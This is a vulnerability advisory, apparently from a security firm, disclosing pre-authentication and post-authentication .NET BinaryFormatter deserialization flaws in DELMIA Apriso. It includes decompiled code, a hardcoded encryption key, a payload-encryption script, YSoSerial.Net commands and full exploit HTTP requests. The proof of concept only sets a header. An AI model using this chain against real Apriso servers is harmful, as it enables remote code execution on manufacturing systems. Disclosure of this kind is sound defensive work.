Multiple vulnerabilities in Delmia Apriso 2019 to 2024

28/11/2024 - Download

Product

Delmia Apriso

Severity

Critical

Fixed Version(s)

KB article addresses the vulnerability for affected versions

Affected Version(s)

CVE Number

CVE-2024-3300, CVE-2024-3301

Authors

Mehdi Elyassa

Description

Presentation

DELMIA Apriso is a Manufacturing Operations Management (MOM) and Manufacturing Execution System (MES) solution edited by Dassault Systèmes (3DS).

Issue(s)

Synacktiv discovered multiple vulnerabilities in Delmia Apriso release 2019 through release 2024:

  • CVE-2024-3300: Pre-authentication Unsafe .NET object deserialization vulnerability.

  • CVE-2024-3301: Post-authentication Unsafe .NET object deserialization vulnerability.

Dassault Systèmes Security Advisories are available at https://www.3ds.com/vulnerability/advisories

Affected versions

An up-to-date list of affected versions is published on the dedicated knowledge base article: https://support.3ds.com/knowledge-base/?q=docid:QA00000334685

Timeline

Date Description
2024.03.29 Advisory sent to 3DS.Information-Security@3ds.com
2024.03.29 Acknowledgement from Dassault Systèmes
2024.04.04 Vulnerabilities confirmed by Dassault Systèmes
2024.05.30 Assigned CVE numbers and KB article published by Dassault Systèmes on their advisories page.
2024.11.28 Public release

 

Technical details

Pre-authentication Unsafe .NET object deserialization

Description

In DELMIA Apriso, the /Apriso/Portal/Kiosk/QueryLogin.aspx page unsafely deserializes the data passed through the EncryptedLogonInfo parameter.

Indeed, such parameter is fed into the LogonInfoString property, which in turn is decrypted by the getter method of the InternalLogonInfo and ExternalLogonInfo properties. Both properties are accessed in the Page_Load method before the authentication checks occur.

namespace FlexNet.Portal.WebUI.Portal.Kiosk;

public class QueryLogin : Page
{
	protected WebQueryLoginController Controller;

	private QueryString _queryString;

	private string _logonInfoString = string.Empty;

	private InternalQueryStringLogonInfo _internalLogonInfo;

	private ExternalQueryStringLogonInfo _externalLogonInfo;

	private QueryString QueryString => _queryString ?? (_queryString = QueryString.Parse(HttpContext.Current.Request.Url.Query));

	private string LogonInfoString
	{
		get
		{
			if (_logonInfoString == string.Empty) {
				_logonInfoString = QueryString.LogonInfo ?? base.Request.Form["EncryptedLogonInfo"];
			}
			return _logonInfoString;
		}
	}
// [...]
	private InternalQueryStringLogonInfo InternalLogonInfo
	{
		get
		{
			if (_internalLogonInfo == null && !string.IsNullOrEmpty(LogonInfoString)) {
				ref InternalQueryStringLogonInfo internalLogonInfo = ref _internalLogonInfo;
				QueryStringLogonInfo obj = QueryStringLogonInfo.Decrypt(LogonInfoString);
				internalLogonInfo = (InternalQueryStringLogonInfo)(object)((obj is InternalQueryStringLogonInfo) ? obj : null);
			}
			return _internalLogonInfo;
		}
	}

	private ExternalQueryStringLogonInfo ExternalLogonInfo
	{
		get
		{
			if (_externalLogonInfo == null && !string.IsNullOrEmpty(LogonInfoString)) {
				ref ExternalQueryStringLogonInfo externalLogonInfo = ref _externalLogonInfo;
				QueryStringLogonInfo obj = QueryStringLogonInfo.Decrypt(LogonInfoString);
				externalLogonInfo = (ExternalQueryStringLogonInfo)(object)((obj is ExternalQueryStringLogonInfo) ? obj : null);
			}
			return _externalLogonInfo;
		}
	}
// [...]
	private void Page_Load(object sender, EventArgs e)
	{
// [...]
		if (WebPortalSession.Current != null && (int)QueryLoginType == 1 && (InternalLogonInfo.SessionID.Guid == WebPortalSession.Current.ID.Guid || (WebPortalSession.Current.ParentSessionID != null && InternalLogonInfo.SessionID.Guid == WebPortalSession.Current.ParentSessionID.Guid))) {
// [...]
			FlexNetPortal.Redirect((IPortalPage)(object)PortalPage.Transaction(WebPortalSession.Current.ActiveTab));
		}
		if ((int)QueryLoginType == 1) {
			CheckPreconditions((QueryStringLogonInfo)(object)InternalLogonInfo);
		} else {
			CheckPreconditions((QueryStringLogonInfo)(object)ExternalLogonInfo);
		}
		OutcomeCollection val2 = default(OutcomeCollection);
		Outcome val3 = ((LoginController)Controller).LogIn(GetLoginData(BaseSettings<SecuritySettings>.Current.StandardAuthenticationMode), ref val2);
// [...]

Moreover, the Decrypt method of the QueryStringLogonInfo class uses a hardcoded cryptographic key. Upon successful decryption, the obtained value is then passed to DeserializeFromBinary method which relies on the insecure BinaryFormatter class.

namespace FlexNet.SystemServices.Security;

[Serializable]
public class QueryStringLogonInfo
{
// [...]
	public static QueryStringLogonInfo Decrypt(string info)
	{
		Assertion.ArgumentIsNotNull(info, "info");
		string s = Enigma.Decrypt("{37B6E94F-F0FB-4f90-A495-A4CD6C45BEB3}", info);
		byte[] serializedContent = Convert.FromBase64String(s);
		object obj = Serializer.DeserializeFromBinary(serializedContent);
		if (obj is InternalQueryStringLogonInfo result)
		{
			return result;
		}
		return obj as ExternalQueryStringLogonInfo;
	}
// [...]

In order to craft the payloads more easily, the Enigma encryption routine was exported in a standalone script.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Enigma
{

	private const int KeySize = 256;

	private const int KeySizeInBytes = 32;

	private const int BlockSize = 256;

	private const int BlockSizeInBytes = 32;

	public static void Main(string[] args) {
		Console.WriteLine(Encrypt(args[0], args[1]));
	}

	private static byte[] GetIV(string key)
	{
		byte[] array = new byte[32];
		byte[] bytes = Encoding.UTF8.GetBytes(key);
		Array.Copy(bytes, 0, array, 0, (bytes.Length > 32) ? 32 : bytes.Length);
		return array;
	}

	private static byte[] GetKey(string key)
	{
		byte[] array = new byte[32];
		byte[] bytes = Encoding.UTF8.GetBytes(key);
		Array.Reverse(bytes);
		Array.Copy(bytes, 0, array, 0, (bytes.Length > 32) ? 32 : bytes.Length);
		return array;
	}

	public static string Encrypt(string key, string decrypted)
	{
		SymmetricAlgorithm symmetricAlgorithm = SymmetricAlgorithm.Create();
		symmetricAlgorithm.BlockSize = 256;
		symmetricAlgorithm.KeySize = 256;
		MemoryStream memoryStream = new MemoryStream();
		ICryptoTransform transform = symmetricAlgorithm.CreateEncryptor(GetKey(key), GetIV(key));
		CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
		StreamWriter streamWriter = new StreamWriter(cryptoStream);
		streamWriter.Write(decrypted);
		streamWriter.Flush();
		cryptoStream.FlushFinalBlock();
		byte[] array = new byte[memoryStream.Length];
		memoryStream.Position = 0L;
		memoryStream.Read(array, 0, (int)memoryStream.Length);
		return Convert.ToBase64String(array, 0, array.Length);
	}

}

Using YSoSerial.Net, the following commands were used to produce a serialized gadget that executes code assembly to insert a custom header in the HTTP response:

> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\enigma_encrypt.cs
> gc .\Exploit.cs
using System.Web;

public class E
{
    public E() {
        HttpContext.Current.Response.Headers["DELMIA-APRISO-DESERIALIZATION"] = "It works!";
    }
}

> $payload=(w:\ysoserial.net\ysoserial.exe -f BinaryFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll") 
> W:\enigma_encrypt.exe '{37B6E94F-F0FB-4f90-A495-A4CD6C45BEB3}' "$payload"
Xen6Kc3IzHt+doV+Pj/35uNLZ3O2hyUIhvrXOfqC2i3eUo9SbanyGLfuvLrjYrU2TxOlCK0CK87B1VxEE4VRSbVvlIbN5o0zg9BB4GAlDwIlE4hbLH9QLrU9cmOei3jb9h2z8IIukYZG5haCIc[...]

Then, the following request was issued to deliver the payload:

POST /Apriso/Portal/Kiosk/QueryLogin.aspx HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11308

EncryptedLogonInfo=Xen6Kc3IzHt+doV+Pj/35uNLZ3O2hyUIhvrXOfqC2i3eUo[...]axT5EL/YYlWkIr4AE81UrJ

The application returned the expected custom header.

HTTP/2 302 Found
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Location: https://apriso.local/Apriso/Portal/Kiosk/StartLogin.aspx?Message=Authentication+ticket+has+expired.&TabID=0
Server: Microsoft-IIS/10.0
Delmia-Apriso-Deserialization: it works!
[...]

 

Impact

An attacker on the network could execute arbitrary code on the affected server and achieve remote code execution.

 

Recommendation

Remediation guidelines and patch packages are available on the dedicated knowledge base article:
https://support.3ds.com/knowledge-base/?q=docid:QA00000334685

Post-authentication Unsafe .NET object deserialization

Description

This deserialization vector resembles a second-order injection. Indeed, upon successful login, the application stores a serialized object in the user session for future use by another endpoint.

In the RedirectBasedOnQueryString method of the LoginRedirectHelper class, the value of the SerializedInputs parameter is saved in the HTTP session with the identifier transmitted through the InputID parameter.

namespace FlexNet.Portal.WebUI.Portal;

public static class LoginRedirectHelper
{
// [...]
	internal static void Redirect(bool handleDefaultMenuItem)
	{
		Platform platform = DeviceClass.Current.Platform;
		if (((object)(Platform)(ref platform)).Equals((object)(Platform)0) && !IsRedirectingToAprisoPortal() && WebPortalSession.Current.UserSession.CheckNotices()) {
			RedirectToNotice(handleDefaultMenuItem);
		} else {
			RedirectBasedOnQueryString(handleDefaultMenuItem);
		}
	}
// [...]
	internal static void RedirectBasedOnQueryString(bool handleDefaultMenuItem)
	{
		HttpRequest request = HttpContext.Current.Request;
// [...]
		if (request.QueryString["TargetUrl"] != null)
		{
			QueryString val2 = QueryString.Parse(request.Url.Query);
			if (request.Form["SerializedInputs"] != null)
			{
				HttpContext.Current.Session.Add(val2["InputID"], request.Form["SerializedInputs"]);
			}
			InitHistory();
			FlexNetPortal.Redirect(val2.TargetUrl);
		}
// [...]

The ExecutionOperation page loads back the value from the session then passes it to DeserializeFromBinary.

namespace FlexNet.Portal.WebUI.Portal;

public class ExecuteOperation : Page
{
// [...]
	private PropertyBag Inputs
	{
		get
		{
			if (_inputs == null)
			{
				_inputs = new PropertyBag();
				if (QueryString["SerializedInputs"] != null)
				{
					_inputs = (PropertyBag)Serializer.DeserializeFromXml(Enigma.Decrypt("SerializedInputs", QueryString["SerializedInputs"]), typeof(PropertyBag));
				} else if (QueryString["InputID"] != null) {
					_inputs = (PropertyBag)Serializer.DeserializeFromBinary(Convert.FromBase64String((string)HttpContext.Current.Session[QueryString["InputID"]]));
					HttpContext.Current.Session.Remove(QueryString["InputID"]);
				}
// [...]

In this case, the serialized object is not encrypted. Thus, the payload can be crafted as follows:

> w:\ysoserial.net\ysoserial.exe -f BinaryFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5[...]

First, the payload was loaded with the following login request:

POST /Apriso/Portal/Kiosk/Login.aspx?TargetUrl=&InputID=DESERIALIZATION_IDENTIFIER_123 HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0 
Content-Type: application/x-www-form-urlencoded
Content-Length: 9023
Cookie: ASP.NET_SessionId=***

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPaA8FDzhkYzQyYjQxMjBhZDQ1OGTOwtTWVXCVU+jdn7guQuk0oTiMd6CcKE9IfPPcNik6CA==&__VIEWSTATEGENERATOR=1E2E81CC
&__EVENTVALIDATION=/wEdAAe0wRFl+BKN***&ctl04$LoginTextBox=user&ctl04$PasswordTextbox=***
&ctl04$LogInButton=Log In&ctl04$HiddenValue=Initial Value&ctl04$HiddenValue2=Initial Value
&SerializedInputs=<@urlencode>AAEAAAD/////AQAAAAAAAAAMAgAAAElTe[...]RlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==<@/urlencode>

---

HTTP/2 302 Found
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Location: https://apriso.local/Apriso/Portal/
Server: Microsoft-IIS/10.0
Set-Cookie: WebPortalSession=***; path=/; HttpOnly
Set-Cookie: .ASPXAUTH=***; path=/; HttpOnly; SameSite=Lax

Then, the following request was issued to trigger the deserialization. It should be noted that the OperationCode parameter should be set to a valid value which depends on the operations implemented by the targeted Apriso instance.

POST /Apriso/Portal/ExecuteOperation.aspx?OperationCode=<OPERATION_CODE>&InputID=DESERIALIZATION_IDENTIFIER_123 HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0 
Cookie: ASP.NET_SessionId=***; WebPortalSession=***; .ASPXAUTH=***
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

---

HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXAUTH=***; path=/; HttpOnly; SameSite=Lax
Delmia-Apriso-Deserialization: It works!

 

Impact

Regardless of their privileges, authenticated attackers could remotely execute arbitrary code on the affected server.

Recommendation

Remediation guidelines and patch packages are available on the dedicated knowledge base article:
https://support.3ds.com/knowledge-base/?q=docid:QA00000334685